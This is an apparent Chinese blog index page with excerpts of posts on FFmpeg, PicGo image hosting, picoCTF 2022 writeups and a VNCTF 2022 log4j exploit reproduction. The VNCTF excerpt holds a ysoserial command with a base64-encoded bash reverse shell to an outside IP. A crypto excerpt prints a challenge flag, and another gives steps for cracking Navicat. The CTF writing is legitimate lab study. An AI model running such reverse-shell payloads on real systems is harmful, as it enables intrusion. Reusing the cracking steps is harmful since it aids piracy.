shenghuo2

shenghuo2's Blog

人生得意须尽欢 莫使金樽空对月

本站所写仅表示个人拙见,如有不当多多担待

多媒体视频处理工具 FFmpeg 安装与基本使用

##介绍 FFmpeg是一套可以用来记录、转换数字音频、视频,并能将其转化为流的开源计算机程序。采用LGPL或GPL许可证。它提供了录制、转换以及流化音视频的完整解决方案。它包含了非常先进的音频/视频编解码库libavcodec,为了保证高可移植性和编解码质量,libavcodec里很多code都是从

使用picGO+阿里云OSS实现私人图床

什么是图床 一般需要插入图片的网站都会配备一个图床。 图床用于存储需要用到的图片,可以用于上传下载图片。 对于一些博客网站来说,从图床引用图片会比直接将图片转码插入文中阅读体验和加载速度都有一个较大的提升。 为什么要搭建图床觉得用typora在本地写markdown更加舒服,然后typecho刚好兼容md格

Navicat破解版安装

##压缩包在qq群里 运行这个安装navicat 安装完成后不要启动 双击运行PatchNavicat 然后选择navicat安装的文件夹 点击打开即可 显示patch success即可

PicoCTF2022 二进制 writeup

#RE file-run1运行即可 file-run2同上 #GDB Test Drive 按照题干调试 patchme.py将if判断语句段注释掉 运行即可 Safe Opener打开java源码 里面有串base64 是flag unpackme.py打开源码 加一行print(plain)即可 bloat.py![OSK3VGZU4R6QK@B3AQB)GX.png 打开是一堆被混淆过的文本和混乱命名的函数名 按照逻辑看下去

VNCTF2022 misc-minecraft log4j反弹shell复现

POC hint mc的flag在/flag Misc mc :hint log4j jdk8u261 commons-collections-3.2.1.jar 使用ysoserial.jar生成反序列化数据 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8yMDkuMTQxLjMyLjc3LzIzMjIzIDA+JjE=}|{base64,-d}|{bash,-i}"|base64 -w 0 将得到的payload填入exp中 exp需要引用unboundid库 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63

picoCTF2022 writeup Cryptography

basic-mod1给了一串数字 取模37 然后结果对应字典 exp: 1 2 3 4 5 6 7 8 9 10 11 ori = [387,248,131,272,373,221,161,110,91,359,390,50,225,184,223,137,225,327,42,179,220,365] disc1 = {1:'A',2:'B',3:'C',4:'D',5:'E',6:'F',7:'G', 8:'H',9:'I',10:'J',11:'K',12:'L',13:'M',14:'N', 15:'O',16:'P',17:'Q',18:'R',19:'S',20:'T', 21:'U',22:'V',23:'W',24:'X',25:'Y',26:'Z', 27:0,28:1,29:2,30:3,31:4,32:5,33:6,34:7,35:8,36:9,37:'_'} for i in range(len(ori)): a = (ori[i]%37) + 1 res = disc1.get(int(a)) print(res, end="") picoCTF{R0UND_N_R0UND_B0D5F596} basic-mod2感觉答案没什么问题 脚本跑出来了 但是不对 就不写了 credstuff给了两个txt 一一对应 找到cultiris在username的位置然后password
0%